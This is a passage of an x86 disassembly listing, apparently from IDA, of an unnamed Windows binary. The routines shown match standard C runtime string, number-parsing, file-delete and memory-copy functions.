--------------------------------------------------------------------------- loc_41C3D5: ; CODE XREF: sub_41C38D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C3E3 or [ebp+arg_C], 2 jmp short loc_41C3E8 ; --------------------------------------------------------------------------- loc_41C3E3: ; CODE XREF: sub_41C38D+4Ej cmp bl, 2Bh jnz short loc_41C3EE loc_41C3E8: ; CODE XREF: sub_41C38D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C3EE: ; CODE XREF: sub_41C38D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C585 cmp eax, 1 jz loc_41C585 cmp eax, 24h jg loc_41C585 push 10h test eax, eax pop ecx jnz short loc_41C436 cmp bl, 30h jz short loc_41C420 mov [ebp+arg_8], 0Ah jmp short loc_41C452 ; --------------------------------------------------------------------------- loc_41C420: ; CODE XREF: sub_41C38D+88j mov al, [esi] cmp al, 78h jz short loc_41C433 cmp al, 58h jz short loc_41C433 mov [ebp+arg_8], 8 jmp short loc_41C452 ; --------------------------------------------------------------------------- loc_41C433: ; CODE XREF: sub_41C38D+97j ; sub_41C38D+9Bj mov [ebp+arg_8], ecx loc_41C436: ; CODE XREF: sub_41C38D+83j cmp [ebp+arg_8], ecx jnz short loc_41C452 cmp bl, 30h jnz short loc_41C452 mov al, [esi] cmp al, 78h jz short loc_41C44A cmp al, 58h jnz short loc_41C452 loc_41C44A: ; CODE XREF: sub_41C38D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C452: ; CODE XREF: sub_41C38D+91j ; sub_41C38D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C462: ; CODE XREF: sub_41C38D+16Cj cmp dword_43F1F4, 1 movzx esi, bl jle short loc_41C47A push 4 push esi call sub_41FD15 pop ecx pop ecx jmp short loc_41C485 ; --------------------------------------------------------------------------- loc_41C47A: ; CODE XREF: sub_41C38D+DFj mov eax, off_43EFE8 mov al, [eax+esi*2] and eax, 4 loc_41C485: ; CODE XREF: sub_41C38D+EBj test eax, eax jz short loc_41C491 movsx ecx, bl sub ecx, 30h jmp short loc_41C4C3 ; --------------------------------------------------------------------------- loc_41C491: ; CODE XREF: sub_41C38D+FAj cmp dword_43F1F4, 1 jle short loc_41C4A5 push edi push esi call sub_41FD15 pop ecx pop ecx jmp short loc_41C4B0 ; --------------------------------------------------------------------------- loc_41C4A5: ; CODE XREF: sub_41C38D+10Bj mov eax, off_43EFE8 mov ax, [eax+esi*2] and eax, edi loc_41C4B0: ; CODE XREF: sub_41C38D+116j test eax, eax jz short loc_41C4FE movsx eax, bl push eax call sub_420B13 pop ecx mov ecx, eax sub ecx, 37h loc_41C4C3: ; CODE XREF: sub_41C38D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C4FE mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C4E8 jnz short loc_41C4E2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C4E8 loc_41C4E2: ; CODE XREF: sub_41C38D+147j or [ebp+arg_C], 4 jmp short loc_41C4F1 ; --------------------------------------------------------------------------- loc_41C4E8: ; CODE XREF: sub_41C38D+145j ; sub_41C38D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C4F1: ; CODE XREF: sub_41C38D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C462 ; --------------------------------------------------------------------------- loc_41C4FE: ; CODE XREF: sub_41C38D+125j ; sub_41C38D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C51C test edx, edx jz short loc_41C516 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C516: ; CODE XREF: sub_41C38D+181j and [ebp+var_8], 0 jmp short loc_41C569 ; --------------------------------------------------------------------------- loc_41C51C: ; CODE XREF: sub_41C38D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C542 test cl, 1 jnz short loc_41C569 and ecx, 2 jz short loc_41C539 cmp [ebp+var_8], 80000000h ja short loc_41C542 loc_41C539: ; CODE XREF: sub_41C38D+1A1j test ecx, ecx jnz short loc_41C569 cmp [ebp+var_8], eax jbe short loc_41C569 loc_41C542: ; CODE XREF: sub_41C38D+197j ; sub_41C38D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DE02C, 22h jz short loc_41C558 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C569 ; --------------------------------------------------------------------------- loc_41C558: ; CODE XREF: sub_41C38D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C569: ; CODE XREF: sub_41C38D+18Dj ; sub_41C38D+19Cj ... test edx, edx jz short loc_41C572 mov eax, [ebp+var_4] mov [edx], eax loc_41C572: ; CODE XREF: sub_41C38D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C580 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C580: ; CODE XREF: sub_41C38D+1E9j mov eax, [ebp+var_8] jmp short loc_41C590 ; --------------------------------------------------------------------------- loc_41C585: ; CODE XREF: sub_41C38D+66j ; sub_41C38D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C58E mov [eax], edi loc_41C58E: ; CODE XREF: sub_41C38D+1FDj xor eax, eax loc_41C590: ; CODE XREF: sub_41C38D+1F6j pop edi pop esi pop ebx leave retn sub_41C38D endp ; =============== S U B R O U T I N E ======================================= sub_41C595 proc near ; CODE XREF: sub_401B66+60EDp ; sub_401B66+6916p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C38D add esp, 10h retn sub_41C595 endp ; =============== S U B R O U T I N E ======================================= sub_41C5AC proc near ; CODE XREF: sub_401B66+5894p arg_0 = dword ptr 4 push [esp+arg_0] call dword_428080 ; DeleteFileA test eax, eax jnz short loc_41C5C2 call dword_42808C ; RtlGetLastWin32Error jmp short loc_41C5C4 ; --------------------------------------------------------------------------- loc_41C5C2: ; CODE XREF: sub_41C5AC+Cj xor eax, eax loc_41C5C4: ; CODE XREF: sub_41C5AC+14j test eax, eax jz short loc_41C5D3 push eax call sub_420BDF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C5D3: ; CODE XREF: sub_41C5AC+1Aj xor eax, eax retn sub_41C5AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5D6 proc near ; CODE XREF: sub_401B66+5800p ; sub_41226B+8Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420C46 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FE9F push [ebp+arg_0] mov edi, eax push esi call sub_420CD3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C5D6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C610 proc near ; CODE XREF: sub_401B66+1DA7p ; sub_401B66+1DC6p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C631 xor eax, eax jmp short loc_41C633 ; --------------------------------------------------------------------------- loc_41C631: ; CODE XREF: sub_41C610+1Bj mov eax, edi loc_41C633: ; CODE XREF: sub_41C610+1Fj cld pop edi leave retn sub_41C610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C640 proc near ; CODE XREF: sub_401B66+7D2p ; sub_41E48A+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C671 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C66F jz short loc_41C671 dec ecx dec ecx loc_41C66F: ; CODE XREF: sub_41C640+29j not ecx loc_41C671: ; CODE XREF: sub_41C640+9j ; sub_41C640+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C680 proc near ; CODE XREF: sub_401B66+3D3p ; sub_401B66+2FD4p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C6F1 sub_41C680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C690 proc near ; CODE XREF: sub_401B66+3DFp ; sub_401B66+74C6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C6AC loc_41C69D: ; CODE XREF: sub_41C690+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C6DF test ecx, 3 jnz short loc_41C69D loc_41C6AC: ; CODE XREF: sub_41C690+Bj ; sub_41C690+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C6AC mov eax, [ecx-4] test al, al jz short loc_41C6EE test ah, ah jz short loc_41C6E9 test eax, 0FF0000h jz short loc_41C6E4 test eax, 0FF000000h jz short loc_41C6DF jmp short loc_41C6AC ; --------------------------------------------------------------------------- loc_41C6DF: ; CODE XREF: sub_41C690+12j ; sub_41C690+4Bj lea edi, [ecx-1] jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6E4: ; CODE XREF: sub_41C690+44j lea edi, [ecx-2] jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6E9: ; CODE XREF: sub_41C690+3Dj lea edi, [ecx-3] jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EE: ; CODE XREF: sub_41C690+39j lea edi, [ecx-4] loc_41C6F1: ; CODE XREF: sub_41C680+5j ; sub_41C690+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C716 loc_41C6FD: ; CODE XREF: sub_41C690+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C768 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C6FD jmp short loc_41C716 ; --------------------------------------------------------------------------- loc_41C711: ; CODE XREF: sub_41C690+9Ej ; sub_41C690+B8j mov [edi], edx add edi, 4 loc_41C716: ; CODE XREF: sub_41C690+6Bj ; sub_41C690+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C711 test dl, dl jz short loc_41C768 test dh, dh jz short loc_41C75F test edx, 0FF0000h jz short loc_41C752 test edx, 0FF000000h jz short loc_41C74A jmp short loc_41C711 ; --------------------------------------------------------------------------- loc_41C74A: ; CODE XREF: sub_41C690+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C752: ; CODE XREF: sub_41C690+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C75F: ; CODE XREF: sub_41C690+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C690+72j ; sub_41C690+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C690 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C780 loc_41C770: ; CODE XREF: sub_41C780+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C780 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C780 proc near ; CODE XREF: sub_401B66+3BDp ; sub_401B66+449p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C770 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C786: ; CODE XREF: sub_41C0D0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C7AB loc_41C798: ; CODE XREF: sub_41C780+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C770 test cl, cl jz short loc_41C7F4 test edx, 3 jnz short loc_41C798 loc_41C7AB: ; CODE XREF: sub_41C780+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C7B6: ; CODE XREF: sub_41C780+61j ; sub_41C780+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C7F8 and eax, 81010100h jz short loc_41C7B6 and eax, 1010100h jnz short loc_41C7F2 and esi, 80000000h jnz short loc_41C7B6 loc_41C7F2: ; CODE XREF: sub_41C780+68j ; sub_41C780+81j ... pop esi pop edi loc_41C7F4: ; CODE XREF: sub_41C780+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C7F8: ; CODE XREF: sub_41C780+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C835 test al, al jz short loc_41C7F2 cmp ah, bl jz short loc_41C82E test ah, ah jz short loc_41C7F2 shr eax, 10h cmp al, bl jz short loc_41C827 test al, al jz short loc_41C7F2 cmp ah, bl jz short loc_41C820 test ah, ah jz short loc_41C7F2 jmp short loc_41C7B6 ; --------------------------------------------------------------------------- loc_41C820: ; CODE XREF: sub_41C780+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C827: ; CODE XREF: sub_41C780+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C82E: ; CODE XREF: sub_41C780+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C835: ; CODE XREF: sub_41C780+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C840 proc near ; CODE XREF: sub_401B66+1A0p ; sub_401B66+1F7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C88C loc_41C850: ; CODE XREF: sub_41C840+3Cj ; sub_41C840+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C884 or al, al jz short loc_41C880 cmp ah, [ecx+1] jnz short loc_41C884 or ah, ah jz short loc_41C880 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C884 or al, al jz short loc_41C880 cmp ah, [ecx+3] jnz short loc_41C884 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C850 mov edi, edi loc_41C880: ; CODE XREF: sub_41C840+18j ; sub_41C840+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C884: ; CODE XREF: sub_41C840+14j ; sub_41C840+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C88C: ; CODE XREF: sub_41C840+Ej test edx, 1 jz short loc_41C8A8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C884 inc ecx or al, al jz short loc_41C880 test edx, 2 jz short loc_41C850 loc_41C8A8: ; CODE XREF: sub_41C840+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C884 or al, al jz short loc_41C880 cmp ah, [ecx+1] jnz short loc_41C884 or ah, ah jz short loc_41C880 add ecx, 2 jmp short loc_41C850 sub_41C840 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8C4 proc near ; CODE XREF: sub_401B66+B5p ; sub_401B66+C8p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C8DD: ; CODE XREF: sub_41C8C4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C8DD mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C905 mov edx, dword_4DE078 loc_41C905: ; CODE XREF: sub_41C8C4+39j ; sub_41C8C4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C925 test al, al jz short loc_41C925 inc edx jmp short loc_41C905 ; --------------------------------------------------------------------------- loc_41C925: ; CODE XREF: sub_41C8C4+58j ; sub_41C8C4+5Cj mov ebx, edx loc_41C927: ; CODE XREF: sub_41C8C4+81j mov al, [edx] test al, al jz short loc_41C94B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C947 inc edx jmp short loc_41C927 ; --------------------------------------------------------------------------- loc_41C947: ; CODE XREF: sub_41C8C4+7Ej and byte ptr [edx], 0 inc edx loc_41C94B: ; CODE XREF: sub_41C8C4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DE078, edx and eax, ebx pop ebx leave retn sub_41C8C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C960 proc near ; CODE XREF: sub_40993C+1Cp ; sub_415819+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FE9F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C99E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C9AB ; --------------------------------------------------------------------------- loc_41C99E: ; CODE XREF: sub_41C960+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FD8A pop ecx pop ecx loc_41C9AB: ; CODE XREF: sub_41C960+3Cj mov eax, esi pop esi leave retn sub_41C960 endp ; =============== S U B R O U T I N E ======================================= sub_41C9B0 proc near ; CODE XREF: sub_40AEC2+46p ; sub_40B4C9+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CA64 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C9DA loc_41C9CB: ; CODE XREF: sub_41C9B0+28j mov al, [edi] inc edi test al, al jz short loc_41CA0B test edi, 3 jnz short loc_41C9CB loc_41C9DA: ; CODE XREF: sub_41C9B0+19j ; sub_41C9B0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C9DA mov eax, [edi-4] test al, al jz short loc_41CA18 test ah, ah jz short loc_41CA13 test eax, 0FF0000h jz short loc_41CA0E test eax, 0FF000000h jnz short loc_41C9DA loc_41CA0B: ; CODE XREF: sub_41C9B0+20j dec edi jmp short loc_41CA1B ; --------------------------------------------------------------------------- loc_41CA0E: ; CODE XREF: sub_41C9B0+52j sub edi, 2 jmp short loc_41CA1B ; --------------------------------------------------------------------------- loc_41CA13: ; CODE XREF: sub_41C9B0+4Bj sub edi, 3 jmp short loc_41CA1B ; --------------------------------------------------------------------------- loc_41CA18: ; CODE XREF: sub_41C9B0+47j sub edi, 4 loc_41CA1B: ; CODE XREF: sub_41C9B0+5Cj ; sub_41C9B0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CA30 mov ebx, ecx shr ecx, 2 jnz short loc_41CA7C jmp short loc_41CA4C ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C9B0+75j ; sub_41C9B0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CA6A mov [edi], dl inc edi dec ecx jz short loc_41CA60 test esi, 3 jnz short loc_41CA30 mov ebx, ecx shr ecx, 2 jnz short loc_41CA7C loc_41CA4C: ; CODE XREF: sub_41C9B0+7Ej ; sub_41C9B0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CA60 loc_41CA53: ; CODE XREF: sub_41C9B0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CA62 dec ecx jnz short loc_41CA53 loc_41CA60: ; CODE XREF: sub_41C9B0+8Bj ; sub_41C9B0+A1j mov [edi], cl loc_41CA62: ; CODE XREF: sub_41C9B0+ABj pop ebx pop esi loc_41CA64: ; CODE XREF: sub_41C9B0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CA6A: ; CODE XREF: sub_41C9B0+85j ; sub_41C9B0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA74: ; CODE XREF: sub_41C9B0+E4j ; sub_41C9B0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CA4C loc_41CA7C: ; CODE XREF: sub_41C9B0+7Cj ; sub_41C9B0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CA74 test dl, dl jz short loc_41CA6A test dh, dh jz short loc_41CAC8 test edx, 0FF0000h jz short loc_41CAB8 test edx, 0FF000000h jnz short loc_41CA74 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CAB8: ; CODE XREF: sub_41C9B0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CAC8: ; CODE XREF: sub_41C9B0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C9B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAE0 proc far ; CODE XREF: sub_40BE29+15p ; sub_40BE29+3Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CB00 cmp edi, eax jb loc_41CC78 loc_41CB00: ; CODE XREF: sub_41CAE0+16j test edi, 3 jnz short loc_41CB1C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CB3C rep movsd jmp off_41CC28[edx*4] ; --------------------------------------------------------------------------- loc_41CB1C: ; CODE XREF: sub_41CAE0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CB34 and eax, 3 add ecx, eax jmp dword ptr loc_41CB3C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CB34: ; CODE XREF: sub_41CAE0+46j jmp dword ptr loc_41CC38[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB3C: ; CODE XREF: sub_41CAE0+31j ; sub_41CAE0+8Ej ... jmp off_41CBBC[ecx*4] ; --------------------------------------------------------------------------- align 4 push eax retf ; --------------------------------------------------------------------------- dw 41h dd offset loc_41CB7C dd offset loc_41CBA0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CB3C rep movsd jmp off_41CC28[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB7C: ; DATA XREF: sub_41CAE0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CB3C rep movsd jmp off_41CC28[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CBA0: ; DATA XREF: sub_41CAE0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CB3C rep movsd jmp off_41CC28[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CBBC dd offset loc_41CC1F ; DATA XREF: sub_41CAE0:loc_41CB3Cr dd offset loc_41CC0C dd offset loc_41CC04 dd offset loc_41CBFC dd offset loc_41CBF4 dd offset loc_41CBEC dd offset loc_41CBE4 dd offset loc_41CBDC ; --------------------------------------------------------------------------- loc_41CBDC: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CBE4: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CBEC: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CBF4: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CBFC: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CC04: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CC0C: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CC1F: ; CODE XREF: sub_41CAE0:loc_41CB3Cj ; DATA XREF: sub_41CAE0:off_41CBBCo jmp off_41CC28[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CC28 dd offset loc_41CC38 ; DATA XREF: sub_41CAE0+35r ; sub_41CAE0+92r ... dd offset loc_41CC40 dd offset loc_41CC4C dd offset loc_41CC60 ; --------------------------------------------------------------------------- loc_41CC38: ; CODE XREF: sub_41CAE0+35j ; sub_41CAE0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC40: ; CODE XREF: sub_41CAE0+35j ; sub_41CAE0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC4C: ; CODE XREF: sub_41CAE0+35j ; sub_41CAE0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC60: ; CODE XREF: sub_41CAE0+35j ; sub_41CAE0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC78: ; CODE XREF: sub_41CAE0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CCAC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCA0 std rep movsd cld jmp off_41CDC0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CCA0: ; CODE XREF: sub_41CAE0+1B1j ; sub_41CAE0+208j ... neg ecx jmp off_41CD70[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCAC: ; CODE XREF: sub_41CAE0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CCC4 and eax, 3 sub ecx, eax jmp dword ptr loc_41CCC4+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCC4: ; CODE XREF: sub_41CAE0+1D6j ; DATA XREF: sub_41CAE0+1DDr jmp off_41CDC0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CCD7+1 dd offset loc_41CCF8 ; --------------------------------------------------------------------------- and ch, cl inc ecx loc_41CCD7: ; DATA XREF: sub_41CAE0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CCA0 std rep movsd cld jmp off_41CDC0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCF8: ; DATA XREF: sub_41CAE0+1F0o mov al, [esi+3] and edx, ecx mov 